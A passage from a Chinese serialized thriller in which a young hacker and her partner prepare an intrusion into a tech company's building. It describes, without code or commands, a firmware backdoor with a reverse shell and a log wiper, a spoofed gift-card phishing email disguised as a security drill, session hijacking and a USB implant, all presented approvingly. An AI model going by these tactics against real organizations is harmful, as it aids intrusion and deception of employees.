她走向电梯间。 就在电梯门关上的那一瞬间,信号稍微波动了一下,耳机里传来了“滋滋”的电流声。 这很正常,电梯井是金属笼子,信号屏蔽是物理常识。 但耳机那头的袁问,却像是被踩了尾巴一样,瞬间炸了。 “姐?!姐你能听到吗?!” “信号怎么弱了?你在电梯里吗?还是出事了?” “我没挂断!我真的没挂断!这是信号问题!” 袁问的声音变得极其急促,甚至带上了明显的颤音: “姐你别误会!我还在车里,我哪也没去!” “我没有拔网线,也没有要跑的意思!” “你可以看后台日志!我一直都在录像!我一直都在看着你!” 电梯上行。 亓默站在轿厢里,听着耳机里那个女孩语无伦次、卑微到了极点的解释。 她能想象到袁问现在的样子——肯定是死死抱着电脑,浑身发抖,生怕自己因为这几秒钟的“失联”而生气,生怕自己回来会惩罚她,或者把她扔下。 地下室的那七天,给这孩子留下的心理阴影,比她想象的还要深。 “我知道。” 亓默低声说了一句。 但袁问似乎根本听不见,或者是恐惧淹没了她的理智,她还在不停地碎碎念: “姐我真的很乖的。我把路线图都画好了。” “我不会把你扔下的。真的。” “我再也不敢了……你别生气……别把我扔回去……” 说到最后,那声音里已经带上了哭腔。 像是一只受过伤的流浪狗,好不容易被人捡回家,稍微有点风吹草动,就怕主人不要它了。 “叮。” 电梯到了一楼。 信号恢复满格。 亓默走出电梯,外面的冷风一吹,让她清醒了不少。 她伸手按住耳机,声音虽然依旧冷硬,但语气放缓了一些: “袁问。” “闭嘴。” 耳机那边瞬间安静了,只有压抑的呼吸声。 “我看得到。” 亓默走出大门,把那顶安全帽摘下来拎在手里: “我看到你在干活了。” “我也知道你没跑。” “把嘴闭上,把眼泪擦干。” “我出来了。” 耳机那头沉默了几秒。 然后传来袁问一声长长的、像是死里逃生般的呼气声: “……收到。” “姐,我给你把车门打开了。” “暖风开着呢。回来就能暖和。” 亓默挂断了通讯。 她回头看了一眼那栋灯火通明的星云大厦。 这一次,她没有那种孤胆英雄的悲壮感。 因为她知道,在两公里外的黑暗里,有一只胆小、甚至有点神经质的电耗子,正死死地守着那根网线,等着她回家。 这种感觉…… 还不赖。 35. [Handshake] 握手 03 这一周,临时旅馆里的气氛变得极其诡异。 袁问没动。 她像个疯子一样,缩在床边,对着那台ROG电脑,没日没夜地敲。 她不睡觉。 亓默半夜醒来,看见她还在敲。 亓默早上去买早饭回来,看见她还在敲。 而且,她开始念咒。 “……0x86 溢出……不对,这里要加个死循环……逻辑锁……不行,还得再加一层判断……” “……如果不触发 A,就强制执行 B……物理熔断……不行,权限不够……” 亓默坐在驾驶座上,听着身后传来的那些破碎的、毫无逻辑的词汇。 她听不懂了。 真的听不懂了。 以前袁问说“我要黑个摄像头”,亓默懂。 现在袁问嘴里念叨的什么“底层驱动劫持”、“环境感知触发器”、“IoT 联动协议”……在亓默耳朵里,跟道士画符没什么区别。 袁问确实在画符。 袁问盯着屏幕上那个解包完成的NVR固件代码,就像看着一个精密的手术台。 “S/N码和MAC地址是对的。” 袁问的手指在键盘上轻敲: “我已经从威视达摄像头的数据库里把原始固件拖下来了。现在,我要往里面加点东西。” 她没有只加一个“画面循环脚本”。 那是低级黑客才干的事。 她在系统底层的init.rc启动脚本里,埋入了一个反向Shell,并且加了一个名为Watcher的守护进程。 “姐,我不止让它瞎。” 袁问嘴角勾起一抹冷笑: “我还给了它一个‘失忆症’的功能。” “行动结束后,这个守护进程会自动覆写硬盘的索引区。这台 NVR 里的所有数据,包括我们篡改固件的日志,都会变成一堆毫无意义的乱码。” “神仙来了也恢复不了。” 这是她给亓默的说辞,反正听的乱七八糟就完了。 事实上,她在那个即将推送给星云科技大楼的、原本只是用来“循环画面”的毒固件里,加了私货。 那是一段极其复杂、甚至有些臃肿的额外代码。 它不负责传输数据,也不负责黑客攻击。 它只负责一件事:保护。 又过了一阵子。 “姐!好了,毒药配好了。” 袁问合上固件编辑窗口,打开了邮件发送器。 “之前那个‘投诉信’的方案太硬了。” 袁问摇摇头,否定了自己之前的想法: “鹰视安防和星云科技是有对账流程的。如果我发投诉信,鹰视那边万一打电话给星云确认,我就穿帮了。” “所以,我要换个思路。” “我要利用贪婪,还有……恐惧。” 袁问编写了一封新的邮件。 From:[](伪造的鹰视安防内部福利邮箱) To:运维组全员 Subject:【福利发放】季度优秀员工星牌咖啡500元礼品卡领取通知 “没有人会拒绝星牌咖啡,尤其是熬夜加班的苦逼运维。” 袁问按下发送键。 几十公里外,鹰视安防的运维中心。 一个刚吃完泡面的年轻运维看到了邮件,眼睛一亮,毫不犹豫地点击了那个“领取链接”。 并没有弹出礼品卡。 屏幕猛地一红,弹出了一个巨大的、刺眼的警告框: 【警告!您已遭受模拟网络钓鱼攻击!】 【这是公司信息安全部的一次内部安全演练。很遗憾,您未能通过测试。】 【根据《员工信息安全管理条例》,请勿关闭此页面,并完整观看以下2小时的《网络安全意识培训视频》。】 【系统将实时监测您的观看进度。如果中途关闭或切换窗口,将自动通报部门主管并在全公司公示。】 那个运维吓得脸都白了。 “卧槽……内网演习?” 他哪里敢关窗口?哪里敢打电话核实?被全公司通报“安全意识薄弱”是要扣绩效的! 他只能老老实实地戴上耳机,点开那个枯燥无比的视频,一动不敢动地盯着屏幕。 “搞定。” 金杯车里,袁问看着后台亮起的绿灯,笑得像只偷鸡的狐狸。 “这就是心理战。” “我用‘恐惧’把他钉在了屏幕前。” “这2小时的视频,足够我利用浏览器后台挂载的脚本,把他的权限提到底裤都不剩。” Session Hijacking会话劫持完成。 网络通道建立。 云端管理后台登录成功。 袁问的手指没有停。 她迅速找到了星云科技的那台NVR,上传了“加料”固件,并设置了定时任务: 【Trigger Time: Tonight 20:00】(触发时间:今晚8点) “眼睛瞎了。” 袁问长出了一口气。 “路我也选好了。” 袁问调出星云科技全楼层的平面图。 “不去搞那个咖啡机了,那玩意儿有点显眼。” 她指了指VIP会议室的位置: “那个智能中控屏。” “安卓5.1系统,万年没更新。而且它直接连着内网的IoT分区,那个分区和核心服务器区的防火墙策略很松。” “姐,你进去之后,只要把这个……” 袁问递给亓默一个伪装成USB接收器的小东西: “插在那个屏幕侧面的USB口上。” “我就能通过这个跳板,把海啸引进去。” 一切准备就绪。 外面的天色暗了下来。 “姐。” 袁问合上电脑,声音突然变得很轻: “我们……去吃顿饭吧?” “我想吃顿好的。” 她抬起头,看着袁问。 那孩子的眼神里没有了刚才搞技术时的狂热,只剩下一种像是要出远门、又像是要诀别的依恋。 “行。” 亓默抓起钱包。 “走!” S市,一家并不起眼但在大众点评上评分很高的私房菜馆。 包间里很暖和,灯光昏黄。 亓默点了一桌子菜。 红烧肉、松鼠桂鱼、甚至还有一盅佛跳墙。 全是硬菜。 但她吃得很少。 袁问拿着筷子,戳着碗里的米饭,眼神总是忍不住往亓默身上飘。 她知道接下来会发生什么。